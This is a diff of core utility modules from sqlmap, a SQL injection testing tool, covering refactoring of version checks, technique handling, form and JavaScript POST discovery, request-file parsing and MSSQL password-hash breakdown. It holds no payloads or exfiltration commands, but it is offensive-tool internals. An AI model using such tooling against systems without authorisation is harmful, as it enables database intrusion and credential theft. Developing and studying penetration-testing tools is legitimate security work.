+from lib.core.enums import CONTENT_STATUS
 from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
 from lib.core.enums import HEURISTIC_TEST
@@ -90,9 +91,9 @@ from lib.core.enums import SORT_ORDER
 from lib.core.exception import SqlmapBaseException
 from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapGenericException
-from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapInstallationException
 from lib.core.exception import SqlmapMissingDependence
+from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapSyntaxException
 from lib.core.exception import SqlmapSystemException
@@ -108,9 +109,9 @@ from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES
 from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK
 from lib.core.settings import BURP_REQUEST_REGEX
 from lib.core.settings import BURP_XML_HISTORY_REGEX
-from lib.core.settings import DBMS_DIRECTORY_DICT
 from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
 from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
+from lib.core.settings import DBMS_DIRECTORY_DICT
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DEFAULT_MSSQL_SCHEMA
@@ -138,6 +139,7 @@ from lib.core.settings import IS_WIN
 from lib.core.settings import LARGE_OUTPUT_THRESHOLD
 from lib.core.settings import LOCALHOST
 from lib.core.settings import MIN_ENCODED_LEN_CHECK
+from lib.core.settings import MIN_ERROR_PARSING_NON_WRITING_RATIO
 from lib.core.settings import MIN_TIME_RESPONSES
 from lib.core.settings import MIN_VALID_DELAYED_RESPONSE
 from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES
@@ -172,10 +174,12 @@ from lib.core.settings import URI_QUESTION_MARKER
 from lib.core.settings import URLENCODE_CHAR_LIMIT
 from lib.core.settings import URLENCODE_FAILSAFE_CHARS
 from lib.core.settings import USER_AGENT_ALIASES
+from lib.core.settings import VERSION_COMPARISON_CORRECTION
 from lib.core.settings import VERSION_STRING
 from lib.core.settings import ZIP_HEADER
 from lib.core.settings import WEBSCARAB_SPLITTER
 from lib.core.threads import getCurrentThreadData
+from lib.utils.safe2bin import safecharencode
 from lib.utils.sqlalchemy import _sqlalchemy
 from thirdparty import six
 from thirdparty.clientform.clientform import ParseResponse
@@ -513,7 +517,7 @@ class Backend(object):
 
     @staticmethod
     def getVersion():
-        versions = filterNone(flattenValue(kb.dbmsVersion))
+        versions = filterNone(flattenValue(kb.dbmsVersion)) if not isinstance(kb.dbmsVersion, six.string_types) else [kb.dbmsVersion]
         if not isNoneValue(versions):
             return versions[0]
         else:
@@ -521,7 +525,7 @@ class Backend(object):
 
     @staticmethod
     def getVersionList():
-        versions = filterNone(flattenValue(kb.dbmsVersion))
+        versions = filterNone(flattenValue(kb.dbmsVersion)) if not isinstance(kb.dbmsVersion, six.string_types) else [kb.dbmsVersion]
         if not isNoneValue(versions):
             return versions
         else:
@@ -619,8 +623,8 @@ def paramToDict(place, parameters=None):
                 if parameter in (conf.base64Parameter or []):
                     try:
                         oldValue = value
-                        value = decodeBase64(value, binary=False)
-                        parameters = re.sub(r"\b%s\b" % re.escape(oldValue), value, parameters)
+                        value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
+                        parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
                     except:
                         errMsg = "parameter '%s' does not contain " % parameter
                         errMsg += "valid Base64 encoded value ('%s')" % value
@@ -697,7 +701,7 @@ def paramToDict(place, parameters=None):
                             message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % getUnicode(_)
 
                             if readInput(message, default='N', boolean=True):
-                                testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), (r"\g<1>%s" % re.sub(regex, r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])).replace("\\", r"\\"), parameters)
+                                testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), (r"\g<1>%s" % re.sub(regex, r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter].replace("\\", r"\\"))), parameters)
                             break
 
     if conf.testParameter:
@@ -929,7 +933,7 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
     retVal = message
     level = level or extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
 
-    if message and IS_TTY or istty:  # colorizing handler
+    if message and (IS_TTY or istty) and not conf.get("disableColoring"):  # colorizing handler
         if bold or color:
             retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
         elif level:
@@ -1121,6 +1125,20 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
 
     return retVal or ""
 
+def setTechnique(technique):
+    """
+    Thread-safe setting of currently used technique (Note: dealing with cases of per-thread technique switching)
+    """
+
+    getCurrentThreadData().technique = technique
+
+def getTechnique():
+    """
+    Thread-safe getting of currently used technique
+    """
+
+    return getCurrentThreadData().technique or kb.get("technique")
+
 def randomRange(start=0, stop=1000, seed=None):
     """
     Returns random integer value in given range
@@ -1227,6 +1245,22 @@ def isZipFile(filename):
 
     return openFile(filename, "rb", encoding=None).read(len(ZIP_HEADER)) == ZIP_HEADER
 
+def isDigit(value):
+    """
+    Checks if provided (string) value consists of digits (Note: Python's isdigit() is problematic)
+
+    >>> u'\xb2'.isdigit()
+    True
+    >>> isDigit(u'\xb2')
+    False
+    >>> isDigit('123456')
+    True
+    >>> isDigit('3b3')
+    False
+    """
+
+    return re.search(r"\A[0-9]+\Z", value or "") is not None
+
 def checkFile(filename, raiseOnError=True):
     """
     Checks for file existence and readability
@@ -1267,36 +1301,43 @@ def banner():
     """
 
     if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
-        _ = BANNER
+        result = BANNER
 
         if not IS_TTY or "--disable-coloring" in sys.argv:
-            _ = clearColors(_)
+            result = clearColors(result)
         elif IS_WIN:
             coloramainit()
 
-        dataToStdout(_, forceOutput=True)
+        dataToStdout(result, forceOutput=True)
 
 def parsePasswordHash(password):
     """
     In case of Microsoft SQL Server password hash value is expanded to its components
+
+    >>> pushValue(kb.forcedDbms)
+    >>> kb.forcedDbms = DBMS.MSSQL
+    >>> "salt: 4086ceb6" in parsePasswordHash("0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a")
+    True
+    >>> kb.forcedDbms = popValue()
     """
 
     blank = " " * 8
 
-    if not password or password == " ":
-        password = NULL
+    if isNoneValue(password) or password == " ":
+        retVal = NULL
+    else:
+        retVal = password
 
-    if Backend.isDbms(DBMS.MSSQL) and password != NULL and isHexEncodedString(password):
-        hexPassword = password
-        password = "%s\n" % hexPassword
-        password += "%sheader: %s\n" % (blank, hexPassword[:6])
-        password += "%ssalt: %s\n" % (blank, hexPassword[6:14])
-        password += "%smixedcase: %s\n" % (blank, hexPassword[14:54])
+    if Backend.isDbms(DBMS.MSSQL) and retVal != NULL and isHexEncodedString(password):
+        retVal = "%s\n" % password
+        retVal += "%sheader: %s\n" % (blank, password[:6])
+        retVal += "%ssalt: %s\n" % (blank, password[6:14])
+        retVal += "%smixedcase: %s\n" % (blank, password[14:54])
 
-        if not Backend.isVersionWithin(("2005", "2008")):
-            password += "%suppercase: %s" % (blank, hexPassword[54:])
+        if password[54:]:
+            retVal += "%suppercase: %s" % (blank, password[54:])
 
-    return password
+    return retVal
 
 def cleanQuery(query):
     """
@@ -1342,6 +1383,7 @@ def setPaths(rootPath):
 
     # sqlmap files
     paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
+    paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt")
     paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
     paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
     paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt")
@@ -1476,7 +1518,7 @@ def parseTargetDirect():
 
                 if dbmsName in (DBMS.MSSQL, DBMS.SYBASE):
                     __import__("_mssql")
-                    import pymssql
+                    pymssql = __import__("pymssql")
 
                     if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
                         errMsg = "'%s' third-party library must be " % data[1]
@@ -1537,7 +1579,7 @@ def parseTargetUrl():
         errMsg += "on this platform"
         raise SqlmapGenericException(errMsg)
 
-    if not re.search(r"^https?://", conf.url, re.I) and not re.search(r"^wss?://", conf.url, re.I):
+    if not re.search(r"^(http|ws)s?://", conf.url, re.I):
         if re.search(r":443\b", conf.url):
             conf.url = "https://%s" % conf.url
         else:
@@ -1556,10 +1598,13 @@ def parseTargetUrl():
 
     hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filterNone((re.search(r"\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P<port>\d+))?", urlSplit.netloc).group("port")))
 
-    conf.scheme = (urlSplit.scheme.strip().lower() or "http") if not conf.forceSSL else "https"
+    conf.scheme = (urlSplit.scheme.strip().lower() or "http")
     conf.path = urlSplit.path.strip()
     conf.hostname = hostnamePort[0].strip()
 
+    if conf.forceSSL:
+        conf.scheme = re.sub(r"(?i)\A(http|ws)\Z", r"\g<1>s", conf.scheme)
+
     conf.ipv6 = conf.hostname != conf.hostname.strip("[]")
     conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "")
 
@@ -1581,7 +1626,7 @@ def parseTargetUrl():
         except:
             errMsg = "invalid target URL"
             raise SqlmapSyntaxException(errMsg)
-    elif conf.scheme == "https":
+    elif conf.scheme in ("https", "wss"):
         conf.port = 443
     else:
         conf.port = 80
@@ -2530,7 +2575,7 @@ def pushValue(value):
     Push value to the stack (thread dependent)
     """
 
-    _ = None
+    exception = None
     success = False
 
     for i in xrange(PUSH_VALUE_EXCEPTION_RETRY_COUNT):
@@ -2539,13 +2584,13 @@ def pushValue(value):
             success = True
             break
         except Exception as ex:
-            _ = ex
+            exception = ex
 
     if not success:
         getCurrentThreadData().valueStack.append(None)
 
-        if _:
-            raise _
+        if exception:
+            raise exception
 
 def popValue():
     """
@@ -2649,12 +2694,15 @@ def extractErrorMessage(page):
     retVal = None
 
     if isinstance(page, six.string_types):
+        if wasLastResponseDBMSError():
+            page = re.sub(r"<[^>]+>", "", page)
+
         for regex in ERROR_PARSING_REGEXES:
             match = re.search(regex, page, re.IGNORECASE)
 
             if match:
                 candidate = htmlUnescape(match.group("result")).replace("<br>", "\n").strip()
-                if re.search(r"\b([a-z]+ ){5}", candidate) is None:  # check for legitimate (e.g. Warning:...) text
+                if candidate and (1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate)) / len(candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO):
                     retVal = candidate
                     break
 
@@ -3100,37 +3148,72 @@ def filterNone(values):
 
     return retVal
 
-def isDBMSVersionAtLeast(version):
+def isDBMSVersionAtLeast(minimum):
     """
     Checks if the recognized DBMS version is at least the version specified
+
+    >>> pushValue(kb.dbmsVersion)
+    >>> kb.dbmsVersion = "2"
+    >>> isDBMSVersionAtLeast("1.3.4.1.4")
+    True
+    >>> isDBMSVersionAtLeast(2.1)
+    False
+    >>> isDBMSVersionAtLeast(">2")
+    False
+    >>> isDBMSVersionAtLeast(">=2.0")
+    True
+    >>> kb.dbmsVersion = "<2"
+    >>> isDBMSVersionAtLeast("2")
+    False
+    >>> isDBMSVersionAtLeast("1.5")
+    True
+    >>> kb.dbmsVersion = "MySQL 5.4.3-log4"
+    >>> isDBMSVersionAtLeast("5")
+    True
+    >>> kb.dbmsVersion = popValue()
     """
 
     retVal = None
 
-    if Backend.getVersion() and Backend.getVersion() != UNKNOWN_DBMS_VERSION:
-        value = Backend.getVersion().replace(" ", "").rstrip('.')
+    if not any(isNoneValue(_) for _ in (Backend.getVersion(), minimum)) and Backend.getVersion() != UNKNOWN_DBMS_VERSION:
+        version = Backend.getVersion().replace(" ", "").rstrip('.')
 
-        while True:
-            index = value.find('.', value.find('.') + 1)
+        correction = 0.0
+        if ">=" in version:
+            pass
+        elif '>' in version:
+            correction = VERSION_COMPARISON_CORRECTION
+        elif '<' in version:
+            correction = -VERSION_COMPARISON_CORRECTION
 
-            if index > -1:
-                value = value[0:index] + value[index + 1:]
-            else:
-                break
+        version = extractRegexResult(r"(?P<result>[0-9][0-9.]*)", version)
 
-        value = filterStringValue(value, '[0-9.><=]')
+        if version:
+            if '.' in version:
+                parts = version.split('.', 1)
+                parts[1] = filterStringValue(parts[1], '[0-9]')
+                version = '.'.join(parts)
 
-        if value and isinstance(value, six.string_types):
-            if value.startswith(">="):
-                value = float(value.replace(">=", ""))
-            elif value.startswith(">"):
-                value = float(value.replace(">", "")) + 0.01
-            elif value.startswith("<="):
-                value = float(value.replace("<=", ""))
-            elif value.startswith(">"):
-                value = float(value.replace("<", "")) - 0.01
+            try:
+                version = float(filterStringValue(version, '[0-9.]')) + correction
+            except ValueError:
+                return None
 
-            retVal = distutils.version.LooseVersion(getUnicode(value)) >= distutils.version.LooseVersion(getUnicode(version))
+            if isinstance(minimum, six.string_types):
+                if '.' in minimum:
+                    parts = minimum.split('.', 1)
+                    parts[1] = filterStringValue(parts[1], '[0-9]')
+                    minimum = '.'.join(parts)
+
+                correction = 0.0
+                if minimum.startswith(">="):
+                    pass
+                elif minimum.startswith(">"):
+                    correction = VERSION_COMPARISON_CORRECTION
+
+                minimum = float(filterStringValue(minimum, '[0-9.]')) + correction
+
+            retVal = version >= minimum
 
     return retVal
 
@@ -3165,7 +3248,7 @@ def getTechniqueData(technique=None):
     Returns injection data for technique specified
     """
 
-    return kb.injection.data.get(technique)
+    return kb.injection.data.get(technique if technique is not None else getTechnique())
 
 def isTechniqueAvailable(technique):
     """
@@ -3178,7 +3261,7 @@ def isTechniqueAvailable(technique):
     >>> kb.injection.data = popValue()
     """
 
-    if conf.tech and isinstance(conf.tech, list) and technique not in conf.tech:
+    if conf.technique and isinstance(conf.technique, list) and technique not in conf.technique:
         return False
     else:
         return getTechniqueData(technique) is not None
@@ -3188,18 +3271,16 @@ def isHeavyQueryBased(technique=None):
     Returns True whether current (kb.)technique is heavy-query based
 
     >>> pushValue(kb.injection.data)
-    >>> pushValue(kb.technique)
-    >>> kb.technique = PAYLOAD.TECHNIQUE.STACKED
-    >>> kb.injection.data[kb.technique] = [test for test in getSortedInjectionTests() if "heavy" in test["title"].lower()][0]
+    >>> setTechnique(PAYLOAD.TECHNIQUE.STACKED)
+    >>> kb.injection.data[getTechnique()] = [test for test in getSortedInjectionTests() if "heavy" in test["title"].lower()][0]
     >>> isHeavyQueryBased()
     True
-    >>> kb.technique = popValue()
     >>> kb.injection.data = popValue()
     """
 
     retVal = False
 
-    technique = technique or kb.technique
+    technique = technique or getTechnique()
 
     if isTechniqueAvailable(technique):
         data = getTechniqueData(technique)
@@ -3494,7 +3575,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
         except IOError:
             errMsg = "there has been a file opening error for filename '%s'. " % filename
             errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
-            errMsg += "and that it's not locked by another process."
+            errMsg += "and that it's not locked by another process"
             raise SqlmapSystemException(errMsg)
 
 def decodeIntToUnicode(value):
@@ -3520,7 +3601,7 @@ def decodeIntToUnicode(value):
                     # Note: https://github.com/sqlmapproject/sqlmap/issues/1531
                     retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING)
                 elif Backend.isDbms(DBMS.MSSQL):
-                    retVal = getUnicode(raw, "UTF-16-BE")
+                    retVal = getUnicode(raw, "UTF-16-BE")   # References: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478
                 elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE):
                     retVal = _unichr(value)
                 else:
@@ -3587,7 +3668,7 @@ def unhandledExceptionMessage():
     errMsg += "Python version: %s\n" % PYVERSION
     errMsg += "Operating system: %s\n" % platform.platform()
     errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
-    errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None))
+    errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None))
     errMsg += "Back-end DBMS:"
 
     if Backend.getDbms() is not None:
@@ -3607,7 +3688,7 @@ def getLatestRevision():
     """
 
     retVal = None
-    req = _urllib.request.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py")
+    req = _urllib.request.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py", headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()})
 
     try:
         content = getUnicode(_urllib.request.urlopen(req).read())
@@ -3707,7 +3788,7 @@ def createGithubIssue(errMsg, excMsg):
             logger.info(infoMsg)
 
             try:
-                with open(paths.GITHUB_HISTORY, "a+b") as f:
+                with openFile(paths.GITHUB_HISTORY, "a+b") as f:
                     f.write("%s\n" % key)
             except:
                 pass
@@ -3739,7 +3820,7 @@ def maskSensitiveData(msg):
             retVal = retVal.replace(value, '*' * len(value))
 
     # Just in case (for problematic parameters regarding user encoding)
-    for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie|auth-\w+|proxy)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal):
+    for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal):
         retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
 
     # Fail-safe substitutions
@@ -4230,7 +4311,7 @@ def asciifyUrl(url, forceQuote=False):
     """
 
     parts = _urllib.parse.urlsplit(url)
-    if not parts.scheme or not parts.netloc:
+    if not all((parts.scheme, parts.netloc, parts.hostname)):
         # apparently not an url
         return getText(url)
 
@@ -4316,9 +4397,9 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
     True
     """
 
-    class _(six.StringIO):
+    class _(six.StringIO, object):
         def __init__(self, content, url):
-            six.StringIO.__init__(self, content)
+            super(_, self).__init__(content)
             self._url = url
 
         def geturl(self):
@@ -4355,54 +4436,73 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
     except:
         pass
 
-    if forms:
-        for form in forms:
-            try:
-                for control in form.controls:
-                    if hasattr(control, "items") and not any((control.disabled, control.readonly)):
-                        # if control has selectable items select first non-disabled
-                        for item in control.items:
-                            if not item.disabled:
-                                if not item.selected:
-                                    item.selected = True
-                                break
+    for form in forms or []:
+        try:
+            for control in form.controls:
+                if hasattr(control, "items") and not any((control.disabled, control.readonly)):
+                    # if control has selectable items select first non-disabled
+                    for item in control.items:
+                        if not item.disabled:
+                            if not item.selected:
+                                item.selected = True
+                            break
 
-                if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
-                    dbgMsg = "skipping '%s'" % form.action
-                    logger.debug(dbgMsg)
-                    continue
+            if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
+                dbgMsg = "skipping '%s'" % form.action
+                logger.debug(dbgMsg)
+                continue
 
-                request = form.click()
-            except (ValueError, TypeError) as ex:
-                errMsg = "there has been a problem while "
-                errMsg += "processing page forms ('%s')" % getSafeExString(ex)
-                if raise_:
-                    raise SqlmapGenericException(errMsg)
-                else:
-                    logger.debug(errMsg)
+            request = form.click()
+        except (ValueError, TypeError) as ex:
+            errMsg = "there has been a problem while "
+            errMsg += "processing page forms ('%s')" % getSafeExString(ex)
+            if raise_:
+                raise SqlmapGenericException(errMsg)
             else:
-                url = urldecode(request.get_full_url(), kb.pageEncoding)
-                method = request.get_method()
-                data = request.data
-                data = urldecode(data, kb.pageEncoding, spaceplus=False)
+                logger.debug(errMsg)
+        else:
+            url = urldecode(request.get_full_url(), kb.pageEncoding)
+            method = request.get_method()
+            data = request.data
+            data = urldecode(data, kb.pageEncoding, spaceplus=False)
 
-                if not data and method and method.upper() == HTTPMETHOD.POST:
-                    debugMsg = "invalid POST form with blank data detected"
-                    logger.debug(debugMsg)
+            if not data and method and method.upper() == HTTPMETHOD.POST:
+                debugMsg = "invalid POST form with blank data detected"
+                logger.debug(debugMsg)
+                continue
+
+            # flag to know if we are dealing with the same target host
+            _ = checkSameHost(response.geturl(), url)
+
+            if conf.scope:
+                if not re.search(conf.scope, url, re.I):
                     continue
+            elif not _:
+                continue
+            else:
+                target = (url, method, data, conf.cookie, None)
+                retVal.add(target)
 
-                # flag to know if we are dealing with the same target host
-                _ = checkSameHost(response.geturl(), url)
+    for match in re.finditer(r"\.post\(['\"]([^'\"]*)['\"],\s*\{([^}]*)\}", content):
+        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
+        data = ""
 
-                if conf.scope:
-                    if not re.search(conf.scope, url, re.I):
-                        continue
-                elif not _:
-                    continue
-                else:
-                    target = (url, method, data, conf.cookie, None)
-                    retVal.add(target)
-    else:
+        for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*(['\"][^'\"]+)?", match.group(2)):
+            data += "%s=%s%s" % (name, value, DEFAULT_GET_POST_DELIMITER)
+
+        data = data.rstrip(DEFAULT_GET_POST_DELIMITER)
+        retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
+
+    for match in re.finditer(r"(?s)(\w+)\.open\(['\"]POST['\"],\s*['\"]([^'\"]+)['\"]\).*?\1\.send\(([^)]+)\)", content):
+        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(2)))
+        data = match.group(3)
+
+        data = re.sub(r"\s*\+\s*[^\s'\"]+|[^\s'\"]+\s*\+\s*", "", data)
+
+        data = data.strip("['\"]")
+        retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
+
+    if not retVal:
         errMsg = "there were no forms found at the given target URL"
         if raise_:
             raise SqlmapGenericException(errMsg)
@@ -4460,9 +4560,9 @@ def getHostHeader(url):
 
     return retVal
 
-def checkObsoleteOptions(args):
+def checkOldOptions(args):
     """
-    Checks for obsolete options
+    Checks for obsolete/deprecated options
     """
 
     for _ in args:
@@ -4472,6 +4572,11 @@ def checkObsoleteOptions(args):
             if OBSOLETE_OPTIONS[_]:
                 errMsg += " (hint: %s)" % OBSOLETE_OPTIONS[_]
             raise SqlmapSyntaxException(errMsg)
+        elif _ in DEPRECATED_OPTIONS:
+            warnMsg = "switch/option '%s' is deprecated" % _
+            if DEPRECATED_OPTIONS[_]:
+                warnMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_]
+            logger.warn(warnMsg)
 
 def checkSystemEncoding():
     """
@@ -4590,24 +4695,27 @@ def decodeDbmsHexValue(value, raw=False):
     def _(value):
         retVal = value
         if value and isinstance(value, six.string_types):
+            value = value.strip()
+
             if len(value) % 2 != 0:
                 retVal = (decodeHex(value[:-1]) + b'?') if len(value) > 1 else value
                 singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value)
             else:
                 retVal = decodeHex(value)
 
-            if not kb.binaryField and not raw:
-                if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
-                    try:
-                        retVal = retVal.decode("utf-16-le")
-                    except UnicodeDecodeError:
-                        pass
+            if not raw:
+                if not kb.binaryField:
+                    if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
+                        try:
+                            retVal = retVal.decode("utf-16-le")
+                        except UnicodeDecodeError:
+                            pass
 
-                elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
-                    try:
-                        retVal = retVal.decode("utf-16-be")
-                    except UnicodeDecodeError:
-                        pass
+                    elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
+                        try:
+                            retVal = retVal.decode("utf-16-be")
+                        except UnicodeDecodeError:
+                            pass
 
                 if not isinstance(retVal, six.text_type):
                     retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING)
@@ -4806,6 +4914,8 @@ def zeroDepthSearch(expression, value):
 
     >>> _ = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL"; _[zeroDepthSearch(_, "FROM")[0]:]
     'FROM DUAL'
+    >>> _ = "a(b; c),d;e"; _[zeroDepthSearch(_, "[;, ]")[0]:]
+    ',d;e'
     """
 
     retVal = []
@@ -4816,8 +4926,12 @@ def zeroDepthSearch(expression, value):
             depth += 1
         elif expression[index] == ')':
             depth -= 1
-        elif depth == 0 and expression[index:index + len(value)] == value:
-            retVal.append(index)
+        elif depth == 0:
+            if value.startswith('[') and value.endswith(']'):
+                if re.search(value, expression[index:index + 1]):
+                    retVal.append(index)
+            elif expression[index:index + len(value)] == value:
+                retVal.append(index)
 
     return retVal
 
@@ -4901,7 +5015,7 @@ def parseRequestFile(reqFile, checkParams=True):
                     port, request = match.groups()
                     try:
                         request = decodeBase64(request, binary=False)
-                    except binascii.Error:
+                    except (binascii.Error, TypeError):
                         continue
                     _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
                     if _:
@@ -4926,7 +5040,7 @@ def parseRequestFile(reqFile, checkParams=True):
             else:
                 scheme, port = None, None
 
-            if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M):
+            if "HTTP/" not in request:
                 continue
 
             if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
@@ -4951,7 +5065,7 @@ def parseRequestFile(reqFile, checkParams=True):
 
                 newline = "\r\n" if line.endswith('\r') else '\n'
                 line = line.strip('\r')
-                match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None
+                match = re.search(r"\A([A-Z]+) (.+) HTTP/[\d.]+\Z", line) if not method else None
 
                 if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None:
                     data = ""
@@ -5045,6 +5159,8 @@ def getSafeExString(ex, encoding=None):
 
     >>> getSafeExString(SqlmapBaseException('foobar')) == 'foobar'
     True
+    >>> getSafeExString(OSError(0, 'foobar')) == 'OSError: foobar'
+    True
     """
 
     retVal = None
@@ -5053,10 +5169,11 @@ def getSafeExString(ex, encoding=None):
         retVal = ex.message
     elif getattr(ex, "msg", None):
         retVal = ex.msg
-    elif isinstance(ex, (list, tuple)) and len(ex) > 1 and isinstance(ex[1], six.string_types):
-        retVal = ex[1]
-    elif isinstance(ex, (list, tuple)) and len(ex) > 0 and isinstance(ex[0], six.string_types):
-        retVal = ex[0]
+    elif getattr(ex, "args", None):
+        for candidate in ex.args[::-1]:
+            if isinstance(candidate, six.string_types):
+                retVal = candidate
+                break
 
     if retVal is None:
         retVal = str(ex)

lib/core/compat.py

@@ -5,13 +5,16 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from __future__ import division
+
 import binascii
 import functools
 import math
 import os
 import random
-import uuid
 import sys
+import time
+import uuid
 
 class WichmannHill(random.Random):
     """
@@ -38,7 +41,6 @@ class WichmannHill(random.Random):
             try:
                 a = int(binascii.hexlify(os.urandom(16)), 16)
             except NotImplementedError:
-                import time
                 a = int(time.time() * 256)  # use fractional seconds
 
         if not isinstance(a, int):
@@ -130,7 +132,6 @@ class WichmannHill(random.Random):
             raise ValueError('seeds must be in range(0, 256)')
         if 0 == x == y == z:
             # Initialize from current time
-            import time
             t = int(time.time() * 256)
             t = int((t & 0xffffff) ^ (t >> 24))
             t, x = divmod(t, 256)
@@ -202,6 +203,7 @@ def round(x, d=0):
     else:
         return float(math.ceil((x * p) - 0.5)) / p
 
+# Reference: https://code.activestate.com/recipes/576653-convert-a-cmp-function-to-a-key-function/
 def cmp_to_key(mycmp):
     """Convert a cmp= function into a key= function"""
     class K(object):

lib/core/convert.py

@@ -18,6 +18,7 @@ import json
 import re
 import sys
 
+from lib.core.bigarray import BigArray
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA
@@ -102,7 +103,7 @@ def filterNone(values):  # Cross-referenced function
     return [_ for _ in values if _] if isinstance(values, collections.Iterable) else values
 
 def isListLike(value):  # Cross-referenced function
-    raise NotImplementedError
+    return isinstance(value, (list, tuple, set, BigArray))
 
 def shellExec(cmd):  # Cross-referenced function
     raise NotImplementedError
@@ -163,8 +164,13 @@ def encodeHex(value, binary=True):
     True
     >>> encodeHex("123", binary=False)
     '313233'
+    >>> encodeHex(b"123"[0]) == b"31"
+    True
     """
 
+    if isinstance(value, int):
+        value = six.unichr(value)
+
     if isinstance(value, six.text_type):
         value = value.encode(UNICODE_ENCODING)
 
@@ -178,7 +184,7 @@ def encodeHex(value, binary=True):
 
     return retVal
 
-def decodeBase64(value, binary=True):
+def decodeBase64(value, binary=True, encoding=None):
     """
     Returns a decoded representation of provided Base64 value
 
@@ -191,11 +197,11 @@ def decodeBase64(value, binary=True):
     retVal = base64.b64decode(value)
 
     if not binary:
-        retVal = getText(retVal)
+        retVal = getText(retVal, encoding)
 
     return retVal
 
